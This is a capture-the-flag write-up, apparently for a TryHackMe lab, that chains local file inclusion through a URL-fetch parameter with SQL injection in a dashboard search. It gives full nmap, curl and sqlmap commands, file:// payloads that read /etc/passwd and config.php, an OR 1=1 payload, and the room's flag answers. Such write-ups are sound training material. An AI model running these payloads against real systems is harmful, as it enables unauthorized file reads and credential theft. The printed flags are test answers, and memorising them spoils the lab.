Enumeration

Standard Nmap scan, then a second pass with vuln scripts:

nmap -Pn -sC -sV -T4 TARGET_IP -oA recruit_nmap
nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP -oA recruit_nmap_extended.txt
Nmap scan results showing open ports and service versions

I’m already liking what I see.

Nmap vuln script output part 1 Nmap vuln script output part 2 Nmap vuln script output part 3

Open ports and initial findings:

  • Port 22 (SSH)
  • Port 53 (DNS)
  • Port 80 (HTTP)
  • PHPSESSID: httponly flag not set
  • /mail/ subdirectory
  • /assets/ subdirectory
  • /phpmyadmin/ subdirectory
  • /server-status/ subdirectory

Web Fingerprinting

curl -I http://TARGET_IP:80
curl -I response showing 200 OK and fresh PHPSESSID cookie

Well, well. A fresh cookie and a 200 OK.

Application Mapping

Browser visit to port 80 confirms a login form.

Login form on port 80

There’s also a small link off to Access API, which feels a bit like a hacker honeypot trap but I’m here for it.

Intercepting a login attempt to analyze the form’s behavior. Testing admin:admin:

Burp Suite intercept of login form request

Line 54 in the Burp response confirms /api.php exists.

Burp response body showing /api.php endpoint

Session Cookie Analysis

Fingerprinting the server generates a fresh session cookie. The path=/ value aligns with the login page path. Testing whether it grants access to protected paths:

curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/admin/
curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/dashboard/
curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/api.php/
Dev Tools Storage showing session cookie value and path Session cookie path aligned with port 80 login root

The curl to /api.php returns promising leads.

api.php response showing file fetch endpoint and parameter documentation api.php response continued | /file.php?cv= accepts a URL parameter

/file.php?cv=<URL> makes the server fetch a URL on behalf of the request. The FAQ’s phrasing, “restricted locations may be blocked,” strongly suggests the intended challenge is bypassing an internal-address filter.

LFI Discovery

Testing whether the application can fetch its own loopback web service:

curl -i -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=http://127.0.0.1/'
Loopback fetch attempt response | scopes hypothesis to LFI rather than SSRF

Interesting. Now the hypothesis scopes in LFI, not unrestricted SSRF.

Testing whether file.php accepts the file:// scheme:

curl -i -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=file:///etc/passwd'
/etc/passwd contents returned via file:// scheme | LFI confirmed

I don’t want to head too far down a rabbit hole here. We can curl deeper as needed.

Directory Enumeration

gobuster dir \
  -u http://TARGET_IP/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,txt,html \
  -t 20
gobuster results | clean enumeration with config.php (Status: 200 | Size: 0) as standout find

This was one of the cleanest running gobuster scans I’ve witnessed.

config.php (Status: 200) [Size: 0] is the standout. A zero-byte response is expected when PHP executes without printing anything. The question is whether file.php can return its source through a PHP filter.

Testing php://filter to expose the source as Base64:

curl -s -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=php://filter/convert.base64-encode/resource=/var/www/html/config.php'
php://filter attempt | filter rejected by the endpoint

That rules out php://filter. Testing the same-host fetch with a known file from gobuster:

curl -i -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=http://TARGET_IP/footer.php'
Same-host HTTP fetch of footer.php | 200 OK but no useful content exposed

Note: The IP and Session ID change here because I attended BSides Athens. Well worth it.

/mail/ Investigation

curl -i http://TARGET_IP/mail/
curl to /mail/ directory | mail.log visible

mail.log is a worthy local-file target.

mail.log contents | HR username and credential location revealed

Feels a bit like a message in a bottle washed up on the shore.

mail.log contains the missing pieces, all wrapped up in an HR package:

  • HR username: hr
  • HR credential location: config.php
  • Admin credentials are only in the backend database

Credential Extraction

The next move is testing whether the fetch endpoint accepts the local hostname and file.

curl -i -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=http://localhost/config.php'
localhost fetch attempt blocked | loopback HTTP filtered

Loopback HTTP is blocked. But file.php already confirmed it reads via file://. Testing directly against config.php:

curl -i -b 'PHPSESSID=[session_id]' \
'http://TARGET_IP/file.php?cv=file://config.php'
file://config.php returns PHP source including HR_PASSWORD

Score.

Sorry not sorry, HR. You just got pwned. Was this the password IT set up and told you to change immediately? Tsk, tsk.

config.php reveals:

  • App name and version
  • Production/debug state
  • API_Enabled and API_Version
  • HR_PASSWORD

User Access

Back to the login form on port 80.

Successful login as HR user

What is the flag value after logging in as a normal user?
THM{LOGGED_IN_USER}

This is our dashboard, which includes a search function and Access API link. Developer Bob Smith is under review, indicating a potential active approval process. Bob’s status shows stored workflow data, but we do not yet have evidence of an approval action. Dashboard URL: /dashboard.php.

SQL Injection Discovery

Lets leverage Dev Tools > Network to investigate Bob and the web app’s behavior further.

The search for Bob reveals…

Dev Tools Network tab showing search GET parameter and Bob Smith result
  • The search uses the GET parameter search
  • The app does name filtering
  • Searching for Bob only returns Bob Smith
  • The search value is reflected back into the search field

All duly noted.

Let’s try a search for ':

SQL syntax error returned after single-quote input

Well, well. This is exactly what I was hoping to witness.

If you cannot see the red SQL Error, it reads: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

Is it an error, web app? Or is it, as The Cardigans sang, “my favorite game…”

In more professional verbiage:

  • SQL Injection = Confirmed.
  • As discovered in the app’s response to the search for Bob, /dashboard.php uses the GET parameter: /dashboard.php?search=

We’ve confirmed that user-controlled search input is inserted into a SQL query without safe parameterization.

The % in the error suggest the backend is using LIKE '%<input>%' search patterns.

A Boolean-based search for %' OR 1=1 -- - changed the query logic and returned all four team members.

' returned none, but %' OR 1=1 -- - returned all. Score again.

Boolean injection returns all four team members

SQLMap Enumeration

Fresh session cookie from Dev Tools. Enumerating databases:

sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" \
  --cookie="PHPSESSID=[session_id]" \
  -p search \
  --batch \
  --dbs
SQLMap confirming GET parameter search is vulnerable SQLMap database list

GET parameter 'search' is vulnerable. Databases discovered: information_schema, mysql, performance_schema, phpmyadmin, recruit_db, sys.

Enumerating recruit_db tables:

sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" \
  --cookie="PHPSESSID=[session_id]" \
  -p search \
  --batch \
  -D recruit_db \
  --tables
SQLMap table enumeration for recruit_db recruit_db tables | users table confirmed

Enumerating the users table columns:

sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" \
  --cookie="PHPSESSID=[session_id]" \
  -p search \
  --batch \
  -D recruit_db \
  -T users \
  --columns
users table structure | id | username | password columns confirmed

Credentials confirmed in the database. Dumping the three columns:

sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" \
  --cookie="PHPSESSID=[session_id]" \
  -p search \
  --batch \
  -D recruit_db \
  -T users \
  -C id,username,password \
  --dump
SQLMap dump | admin credentials stored in plain text

Admin credentials stored in plain text.

Admin Access

Successful admin login

Admin = pwned.

What is the flag value after logging in as admin?
THM{LOGGED_IN_ADM1N1}

Admin dashboard | completion confirmed

Cue the confetti…


Full Attack Chain

# 1. Recon
nmap -Pn -sC -sV -T4 TARGET_IP -oA recruit_nmap
nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP -oA recruit_nmap_extended.txt
# Ports: 22 SSH, 53 DNS, 80 HTTP | PHPSESSID httponly flag not set | /mail/, /phpmyadmin/, /server-status/
curl -I http://TARGET_IP:80
# 200 OK, fresh PHPSESSID cookie

# 2. Application mapping
# Browser: login form at :80, Access API link present
# Burp intercept login attempt -> /api.php confirmed line 54
# /api.php: /file.php?cv=<URL> fetches URLs server-side

# 3. Session cookie analysis
curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/admin/
curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/dashboard/
curl -i -b 'PHPSESSID=[session_id]' http://TARGET_IP/api.php/

# 4. LFI discovery
curl -i -b 'PHPSESSID=[session_id]' 'http://TARGET_IP/file.php?cv=http://127.0.0.1/'
# Loopback blocked -> scopes to LFI
curl -i -b 'PHPSESSID=[session_id]' 'http://TARGET_IP/file.php?cv=file:///etc/passwd'
# LFI confirmed via file:// scheme

# 5. Directory enumeration
gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 20
# config.php (Status: 200, Size: 0) | /mail/

# 6. /mail/ investigation
curl -i http://TARGET_IP/mail/
# mail.log: HR username = hr | HR password location = config.php | admin creds in DB only

# 7. Credential extraction
curl -i -b 'PHPSESSID=[session_id]' 'http://TARGET_IP/file.php?cv=http://localhost/config.php'
# localhost blocked
curl -i -b 'PHPSESSID=[session_id]' 'http://TARGET_IP/file.php?cv=file://config.php'
# config.php returns HR_PASSWORD -> login as hr -> user flag

# 8. SQL injection discovery
# Dashboard search: GET /dashboard.php?search=
# ' -> SQL syntax error confirms LIKE '%<input>%' pattern
# %' OR 1=1 -- - -> all records returned

# 9. SQLMap enumeration and dump
sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" --cookie="PHPSESSID=[session_id]" -p search --batch --dbs
sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" --cookie="PHPSESSID=[session_id]" -p search --batch -D recruit_db --tables
sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" --cookie="PHPSESSID=[session_id]" -p search --batch -D recruit_db -T users --columns
sqlmap -u "http://TARGET_IP/dashboard.php?search=Bob" --cookie="PHPSESSID=[session_id]" -p search --batch -D recruit_db -T users -C id,username,password --dump
# Admin credentials in plaintext -> login as admin -> admin flag